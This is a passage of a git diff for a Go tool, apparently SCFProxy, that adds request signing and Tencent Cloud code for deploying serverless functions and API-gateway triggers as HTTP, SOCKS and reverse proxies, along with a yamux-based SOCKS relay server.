+ return urlpath +} + +// CanonicalQueryString +func CanonicalQueryString(r *http.Request) string { + var keys []string + query := r.URL.Query() + for key := range query { + keys = append(keys, key) + } + sort.Strings(keys) + var a []string + for _, key := range keys { + k := escape(key) + sort.Strings(query[key]) + for _, v := range query[key] { + kv := fmt.Sprintf("%s=%s", k, escape(v)) + a = append(a, kv) + } + } + queryStr := strings.Join(a, "&") + r.URL.RawQuery = queryStr + return queryStr +} + +// CanonicalHeaders +func CanonicalHeaders(r *http.Request, signerHeaders []string) string { + var a []string + header := make(map[string][]string) + for k, v := range r.Header { + header[strings.ToLower(k)] = v + } + for _, key := range signerHeaders { + value := header[key] + if strings.EqualFold(key, HeaderHost) { + value = []string{r.Host} + } + sort.Strings(value) + for _, v := range value { + a = append(a, key+":"+strings.TrimSpace(v)) + } + } + return fmt.Sprintf("%s\n", strings.Join(a, "\n")) +} + +// SignedHeaders +func SignedHeaders(r *http.Request) []string { + var a []string + for key := range r.Header { + a = append(a, strings.ToLower(key)) + } + sort.Strings(a) + return a +} + +// RequestPayload +func RequestPayload(r *http.Request) ([]byte, error) { + if r.Body == nil { + return []byte(""), nil + } + b, err := ioutil.ReadAll(r.Body) + if err != nil { + return []byte(""), err + } + r.Body = ioutil.NopCloser(bytes.NewBuffer(b)) + return b, err +} + +// Create a "String to Sign". +func StringToSign(canonicalRequest string, t time.Time) (string, error) { + hash := sha256.New() + _, err := hash.Write([]byte(canonicalRequest)) + if err != nil { + return "", err + } + return fmt.Sprintf("%s\n%s\n%x", + Algorithm, t.UTC().Format(BasicDateFormat), hash.Sum(nil)), nil +} + +// Create the HWS Signature. +func SignStringToSign(stringToSign string, signingKey []byte) (string, error) { + hm, err := hmacsha256(signingKey, stringToSign) + return fmt.Sprintf("%x", hm), err +} + +// HexEncodeSHA256Hash returns hexcode of sha256 +func HexEncodeSHA256Hash(body []byte) (string, error) { + hash := sha256.New() + if body == nil { + body = []byte("") + } + _, err := hash.Write(body) + return fmt.Sprintf("%x", hash.Sum(nil)), err +} + +// Get the finalized value for the "Authorization" header. The signature parameter is the output from SignStringToSign +func AuthHeaderValue(signature, accessKey string, signedHeaders []string) string { + return fmt.Sprintf("%s Access=%s, SignedHeaders=%s, Signature=%s", Algorithm, accessKey, strings.Join(signedHeaders, ";"), signature) +} + +// Signature HWS meta +type Signer struct { + Key string + Secret string +} + +// SignRequest set Authorization header +func (s *Signer) Sign(r *http.Request) error { + var t time.Time + var err error + var dt string + if dt = r.Header.Get(HeaderXDate); dt != "" { + t, err = time.Parse(BasicDateFormat, dt) + } + if err != nil || dt == "" { + t = time.Now() + r.Header.Set(HeaderXDate, t.UTC().Format(BasicDateFormat)) + } + signedHeaders := SignedHeaders(r) + canonicalRequest, err := CanonicalRequest(r, signedHeaders) + if err != nil { + return err + } + stringToSign, err := StringToSign(canonicalRequest, t) + if err != nil { + return err + } + signature, err := SignStringToSign(stringToSign, []byte(s.Secret)) + if err != nil { + return err + } + authValue := AuthHeaderValue(signature, s.Key, signedHeaders) + r.Header.Set(HeaderAuthorization, authValue) + return nil +} diff --git a/sdk/provider/tencent/http.go b/sdk/provider/tencent/http.go new file mode 100644 index 0000000..d7e4a06 --- /dev/null +++ b/sdk/provider/tencent/http.go @@ -0,0 +1,105 @@ +package tencent + +import ( + "encoding/json" + "time" + + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" + scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" + + "github.com/shimmeris/SCFProxy/fileutil" + "github.com/shimmeris/SCFProxy/function" + "github.com/shimmeris/SCFProxy/sdk" +) + +type ApiExtractor struct { + Service struct { + SubDomain string `json:"subDomain"` + } `json:"service"` +} + +func (p *Provider) DeployHttpProxy(opts *sdk.HttpProxyOpts) (*sdk.DeployHttpProxyResult, error) { + if !opts.OnlyTrigger { + if err := p.createHttpFunction(opts.FunctionName); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCEINUSE_FUNCTION { + return nil, err + } + } + } + + var api string + var err error + // tencent returns async. retry 3 times + for i := 0; i < 3; i++ { + time.Sleep(10 * time.Second) + api, err = p.createHttpTrigger(opts.FunctionName, opts.TriggerName) + if err == nil { + break + } + } + if err != nil { + return nil, err + } + + result := &sdk.DeployHttpProxyResult{ + Provider: p.Name(), + Region: p.region, + API: api, + } + return result, nil + +} + +func (p *Provider) ClearHttpProxy(opts *sdk.HttpProxyOpts) error { + return p.clearFunctionProxy(opts.FunctionName, opts.TriggerName, "apigw", opts.OnlyTrigger) +} + +func (p *Provider) createHttpFunction(functionName string) error { + r := scf.NewCreateFunctionRequest() + r.FunctionName = common.StringPtr(functionName) + r.Code = &scf.Code{ZipFile: common.StringPtr(fileutil.CreateZipBase64("index.py", function.TencentHttpCode))} + r.Handler = common.StringPtr("index.handler") + r.MemorySize = common.Int64Ptr(128) + r.Timeout = common.Int64Ptr(30) + r.Runtime = common.StringPtr("Python3.6") + + _, err := p.fclient.CreateFunction(r) + return err +} + +func (p *Provider) createHttpTrigger(functionName, triggerName string) (string, error) { + r := scf.NewCreateTriggerRequest() + r.FunctionName = common.StringPtr(functionName) + r.TriggerName = common.StringPtr(triggerName) + r.Type = common.StringPtr("apigw") + r.TriggerDesc = common.StringPtr(`{ + "api":{ + "authRequired":"FALSE", + "requestConfig":{ + "method":"POST" + }, + "isIntegratedResponse":"TRUE" + }, + "service":{ + "serviceName":"SCF_API_SERVICE" + }, + "release":{ + "environmentName":"release" + } + }`) + + response, err := p.fclient.CreateTrigger(r) + if err != nil { + return "", err + } + + extractor := &ApiExtractor{} + desc := *response.Response.TriggerInfo.TriggerDesc + if err := json.Unmarshal([]byte(desc), extractor); err != nil { + return "", err + } + + api := extractor.Service.SubDomain + return api, nil +} diff --git a/sdk/provider/tencent/provider.go b/sdk/provider/tencent/provider.go new file mode 100644 index 0000000..0511b03 --- /dev/null +++ b/sdk/provider/tencent/provider.go @@ -0,0 +1,107 @@ +package tencent + +import ( + apigateway "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway/v20180808" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" + scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" +) + +type Provider struct { + region string + fclient *scf.Client + gclient *apigateway.Client +} + +func New(secretId, secretKey, region string) (*Provider, error) { + credential := common.NewCredential(secretId, secretKey) + + fcpf := profile.NewClientProfile() + fcpf.HttpProfile.Endpoint = "scf.tencentcloudapi.com" + fclient, err := scf.NewClient(credential, region, fcpf) + if err != nil { + return nil, err + } + + gcpf := profile.NewClientProfile() + gcpf.HttpProfile.Endpoint = "apigateway.tencentcloudapi.com" + gclient, err := apigateway.NewClient(credential, region, gcpf) + if err != nil { + return nil, err + } + + provider := &Provider{ + region: region, + fclient: fclient, + gclient: gclient, + } + return provider, nil +} + +func (p *Provider) Name() string { + return "tencent" +} + +func (p *Provider) Region() string { + return p.region +} + +func (p *Provider) clearFunctionProxy(functionName, triggerName, triggerType string, onlyTrigger bool) error { + if err := p.deleteTrigger(functionName, triggerName, triggerType); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); !ok || (err.Code != scf.RESOURCENOTFOUND && err.Code != scf.RESOURCENOTFOUND_FUNCTION) { + return err + } + } + + if onlyTrigger { + return nil + } + + if err := p.deleteFunction(functionName); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCENOTFOUND_FUNCTION { + return err + } + } + return nil +} + +func (p *Provider) deleteFunction(functionName string) error { + r := scf.NewDeleteFunctionRequest() + r.FunctionName = common.StringPtr(functionName) + + _, err := p.fclient.DeleteFunction(r) + return err +} + +func (p *Provider) deleteTrigger(functionName, triggerName, triggerType string) error { + r := scf.NewDeleteTriggerRequest() + r.FunctionName = common.StringPtr(functionName) + r.TriggerName = common.StringPtr(triggerName) + r.Type = common.StringPtr(triggerType) // timer + + _, err := p.fclient.DeleteTrigger(r) + return err +} + +func Regions() []string { + // 腾讯云大陆外地区部署延迟巨大,暂不进行部署 + return []string{ + "ap-beijing", + "ap-chengdu", + "ap-guangzhou", + "ap-shanghai", + "ap-nanjing", + //"ap-hongkong", + //"ap-mumbai", + //"ap-singapore", + //"ap-bangkok", + //"ap-seoul", + //"ap-tokyo", + //"eu-frankfurt", + //"eu-moscow", + //"na-ashburn", + //"na-toronto", + //"na-siliconvalley", + } +} diff --git a/sdk/provider/tencent/reverse.go b/sdk/provider/tencent/reverse.go new file mode 100644 index 0000000..b51e04a --- /dev/null +++ b/sdk/provider/tencent/reverse.go @@ -0,0 +1,207 @@ +package tencent + +import ( + "fmt" + "net/url" + "strings" + + "github.com/sirupsen/logrus" + apigateway "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway/v20180808" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" + + "github.com/shimmeris/SCFProxy/sdk" +) + +func (p *Provider) DeployReverseProxy(opts *sdk.ReverseProxyOpts) (*sdk.DeployReverseProxyResult, error) { + serviceId, serviceDomain, err := p.createService(opts.Origin) + if err != nil { + return nil, err + } + + apiId, err := p.createApi(serviceId, opts.Origin) + if err != nil { + return nil, err + } + + if err = p.releaseService(serviceId); err != nil { + return nil, err + } + + result := &sdk.DeployReverseProxyResult{ + Provider: p.Name(), + Region: p.region, + ServiceId: serviceId, + ApiId: apiId, + ServiceDomain: serviceDomain, + Origin: opts.Origin, + } + + if len(opts.Ips) == 0 { + return result, nil + } + + pluginId, err := p.createIPControlPlugin(opts.Ips) + if err != nil { + logrus.Errorf("create IPControl plugin failed for %s in %s.%s", opts.Origin, p.Name(), p.region) + return result, nil + } + + if err := p.attachPlugin(serviceId, apiId, pluginId); err != nil { + logrus.Errorf("attach IPControl plugin failed for %s in %s.%s ", opts.Origin, p.Name(), p.region) + return result, nil + } + result.PluginId = pluginId + return result, nil +} + +func (p *Provider) ClearReverseProxy(opts *sdk.ReverseProxyOpts) error { + if opts.PluginId != "" { + if err := p.deletePlugin(opts.PluginId); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != apigateway.RESOURCENOTFOUND_INVALIDPLUGIN { + return err + } + } + } + + if err := p.deleteApi(opts.ServiceId, opts.ApiId); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); ok && err.Code == apigateway.RESOURCENOTFOUND_INVALIDSERVICE { + return nil + } + return err + } + + if err := p.unreleaseService(opts.ServiceId); err != nil { + return err + } + + return p.deleteService(opts.ServiceId) + +} + +func (p *Provider) createService(name string) (string, string, error) { + r := apigateway.NewCreateServiceRequest() + r.Protocol = common.StringPtr("http&https") + r.ServiceName = common.StringPtr(name) + + resp, err := p.gclient.CreateService(r) + if err != nil { + return "", "", err + } + serviceId, serviceDomain := *resp.Response.ServiceId, *resp.Response.OuterSubDomain + return serviceId, serviceDomain, nil +} + +func (p *Provider) createApi(serviceId, origin string) (string, error) { + protocol := "HTTP" + method := "ANY" + u, _ := url.Parse(origin) + if u.Scheme == "ws" || u.Scheme == "wss" { + protocol = "WEBSOCKET" + method = "GET" + } + + r := apigateway.NewCreateApiRequest() + r.ApiName = common.StringPtr(strings.ToLower(protocol)) + r.AuthType = common.StringPtr("NONE") + r.ResponseType = common.StringPtr("BINARY") + r.ServiceType = common.StringPtr(protocol) + r.ServiceTimeout = common.Int64Ptr(900) + r.Protocol = common.StringPtr(protocol) + r.ServiceId = common.StringPtr(serviceId) + r.RequestConfig = &apigateway.ApiRequestConfig{ + Path: common.StringPtr("/"), + Method: common.StringPtr(method), + } + r.ServiceConfig = &apigateway.ServiceConfig{ + Url: common.StringPtr(origin), + Path: common.StringPtr("/"), + Method: common.StringPtr(method), + } + + resp, err := p.gclient.CreateApi(r) + if err != nil { + return "", err + } + apiId := *resp.Response.Result.ApiId + + return apiId, nil +} + +func (p *Provider) releaseService(serviceId string) error { + r := apigateway.NewReleaseServiceRequest() + r.ServiceId = common.StringPtr(serviceId) + r.ReleaseDesc = common.StringPtr("") + r.EnvironmentName = common.StringPtr("release") + + _, err := p.gclient.ReleaseService(r) + return err +} + +func (p *Provider) unreleaseService(serviceId string) error { + r := apigateway.NewUnReleaseServiceRequest() + r.ServiceId = common.StringPtr(serviceId) + r.EnvironmentName = common.StringPtr("release") + + _, err := p.gclient.UnReleaseService(r) + return err +} + +func (p *Provider) deleteService(serviceId string) error { + r := apigateway.NewDeleteServiceRequest() + r.ServiceId = common.StringPtr(serviceId) + + _, err := p.gclient.DeleteService(r) + return err +} + +func (p *Provider) deleteApi(serviceId, apiId string) error { + r := apigateway.NewDeleteApiRequest() + r.ServiceId = common.StringPtr(serviceId) + r.ApiId = common.StringPtr(apiId) + + _, err := p.gclient.DeleteApi(r) + return err +} + +func (p *Provider) createIPControlPlugin(ips []string) (string, error) { + r := apigateway.NewCreatePluginRequest() + r.PluginName = common.StringPtr("") + r.PluginType = common.StringPtr("IPControl") + r.Description = common.StringPtr(strings.Join(ips, "\n")) + r.PluginData = common.StringPtr(generatePluginData(ips)) + + // 返回的resp是一个CreatePluginResponse的实例,与请求对象对应 + resp, err := p.gclient.CreatePlugin(r) + if err != nil { + return "", err + } + + return *resp.Response.Result.PluginId, nil +} + +func (p *Provider) attachPlugin(serviceId, apiId, pluginId string) error { + r := apigateway.NewAttachPluginRequest() + r.PluginId = common.StringPtr(pluginId) + r.ServiceId = common.StringPtr(serviceId) + r.EnvironmentName = common.StringPtr("release") + r.ApiIds = common.StringPtrs([]string{apiId}) + + _, err := p.gclient.AttachPlugin(r) + return err +} + +func (p *Provider) deletePlugin(pluginId string) error { + r := apigateway.NewDeletePluginRequest() + + r.PluginId = common.StringPtr(pluginId) + + // 返回的resp是一个DeletePluginResponse的实例,与请求对象对应 + _, err := p.gclient.DeletePlugin(r) + return err +} + +func generatePluginData(ips []string) string { + ip := strings.Join(ips, "\\n") + return fmt.Sprintf("{\"type\": \"white_list\", \"blocks\": \"%s\"}", ip) +} diff --git a/sdk/provider/tencent/socks.go b/sdk/provider/tencent/socks.go new file mode 100644 index 0000000..8106854 --- /dev/null +++ b/sdk/provider/tencent/socks.go @@ -0,0 +1,67 @@ +package tencent + +import ( + "time" + + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" + "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" + scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" + + "github.com/shimmeris/SCFProxy/fileutil" + "github.com/shimmeris/SCFProxy/function" + "github.com/shimmeris/SCFProxy/sdk" +) + +func (p *Provider) DeploySocksProxy(opts *sdk.SocksProxyOpts) error { + if !opts.OnlyTrigger { + if err := p.createSocksFunction(opts.FunctionName); err != nil { + if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCEINUSE_FUNCTION { + return err + } + } + time.Sleep(10 * time.Second) + } + + message := opts.DumpBase64Message() + + var err error + // tencent returns async. retry 3 times + for i := 0; i < 3; i++ { + time.Sleep(10 * time.Second) + err = p.createSocksTrigger(opts.FunctionName, opts.TriggerName, message) + if err == nil { + break + } + } + return err +} + +func (p *Provider) ClearSocksProxy(opts *sdk.SocksProxyOpts) error { + return p.clearFunctionProxy(opts.FunctionName, opts.TriggerName, "timer", opts.OnlyTrigger) +} + +func (p *Provider) createSocksFunction(functionName string) error { + r := scf.NewCreateFunctionRequest() + r.FunctionName = common.StringPtr(functionName) + r.Handler = common.StringPtr("main") + r.Runtime = common.StringPtr("Go1") + r.Code = &scf.Code{ZipFile: common.StringPtr(fileutil.CreateZipBase64("main", function.TencentSocksCode))} + r.Timeout = common.Int64Ptr(900) + r.MemorySize = common.Int64Ptr(128) + + _, err := p.fclient.CreateFunction(r) + return err + +} + +func (p *Provider) createSocksTrigger(functionName, triggerName, message string) error { + r := scf.NewCreateTriggerRequest() + r.FunctionName = common.StringPtr(functionName) + r.TriggerName = common.StringPtr(triggerName) + r.Type = common.StringPtr("timer") + r.TriggerDesc = common.StringPtr("0 */1 * * * * *") // every 1 min + r.CustomArgument = common.StringPtr(message) + + _, err := p.fclient.CreateTrigger(r) + return err +} diff --git a/sdk/result.go b/sdk/result.go new file mode 100644 index 0000000..e7bfe8e --- /dev/null +++ b/sdk/result.go @@ -0,0 +1,18 @@ +package sdk + +type DeployHttpProxyResult struct { + API string + Region string + Provider string +} + +type DeployReverseProxyResult struct { + ServiceId string + ApiId string + PluginId string + ServiceDomain string + Origin string + Region string + Provider string + Protocol string +} diff --git a/socks/socks.go b/socks/socks.go new file mode 100644 index 0000000..8cd502e --- /dev/null +++ b/socks/socks.go @@ -0,0 +1,115 @@ +package socks + +import ( + "fmt" + "io" + "math/rand" + "net" + "os" + "os/signal" + "syscall" + "time" + + "github.com/hashicorp/yamux" + "github.com/sirupsen/logrus" + "golang.org/x/exp/slices" +) + +const KeyLength = 8 + +var sessions []*yamux.Session + +func listenScf(port, key string) { + ln, err := net.Listen("tcp", "0.0.0.0:"+port) + if err != nil { + logrus.Fatal(err) + } + + for { + conn, err := ln.Accept() + if err != nil { + logrus.Fatal(err) + } + + buf := make([]byte, KeyLength) + conn.Read(buf) + if string(buf) == key { + fmt.Printf("New connection from %s\n", conn.RemoteAddr().String()) + session, err := yamux.Client(conn, nil) + if err != nil { + logrus.Error(err) + } + sessions = append(sessions, session) + } + } +} + +func listenClient(port string) { + ln, err := net.Listen("tcp", "0.0.0.0:"+port) + if err != nil { + logrus.Fatal(err) + } + + for { + conn, err := ln.Accept() + if err != nil { + logrus.Error("listen client failed") + } + go forward(conn) + } +} + +func forward(conn net.Conn) { + scfConn := pickConn(sessions) + + _forward := func(src, dest net.Conn) { + defer src.Close() + defer dest.Close() + io.Copy(src, dest) + } + + go _forward(conn, scfConn) + go _forward(scfConn, conn) + +} + +func pickConn(sessions []*yamux.Session) net.Conn { + for { + l := len(sessions) + if l == 0 { + logrus.Debug("No scf server connections") + time.Sleep(5 * time.Second) + continue + } + n := rand.Intn(l) + conn, err := sessions[n].Open() + + // remove inactive connections + if err != nil { + fmt.Printf("Remove invalid connection from %s\n", sessions[n].RemoteAddr().String()) + sessions[n].Close() + sessions = slices.Delete(sessions, n, n+1) + continue + } + + return conn + } +} + +func Serve(socksPort, scfPort, key string) { + go func() { + c := make(chan os.Signal, 1) + signal.Notify(c, os.Interrupt, syscall.SIGTERM) + go func() { + <-c + for _, s := range sessions { + s.Close() + } + os.Exit(0) + }() + }() + + go listenScf(scfPort, key) + listenClient(socksPort) + +}